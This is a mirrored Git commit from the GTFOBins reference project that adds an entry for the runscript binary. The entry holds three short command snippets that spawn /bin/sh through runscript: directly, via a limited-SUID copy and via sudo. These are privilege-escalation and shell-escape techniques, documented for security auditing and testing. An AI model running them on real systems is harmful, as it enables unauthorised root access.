mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2024-09-07 20:50:38 +02:00
Add runscript
This commit is contained in:
parent
72cb09f404
commit
cbab01b495
18
_gtfobins/runscript.md
Normal file
18
_gtfobins/runscript.md
Normal file
@ -0,0 +1,18 @@
|
||||
---
|
||||
functions:
|
||||
shell:
|
||||
- code: |
|
||||
TF=$(mktemp)
|
||||
echo '! exec /bin/sh' >$TF
|
||||
runscript $TF
|
||||
limited-suid:
|
||||
- code: |
|
||||
TF=$(mktemp)
|
||||
echo '! exec /bin/sh' >$TF
|
||||
./runscript $TF
|
||||
sudo:
|
||||
- code: |
|
||||
TF=$(mktemp)
|
||||
echo '! exec /bin/sh' >$TF
|
||||
sudo runscript $TF
|
||||
---
|
Loading…
Reference in New Issue
Block a user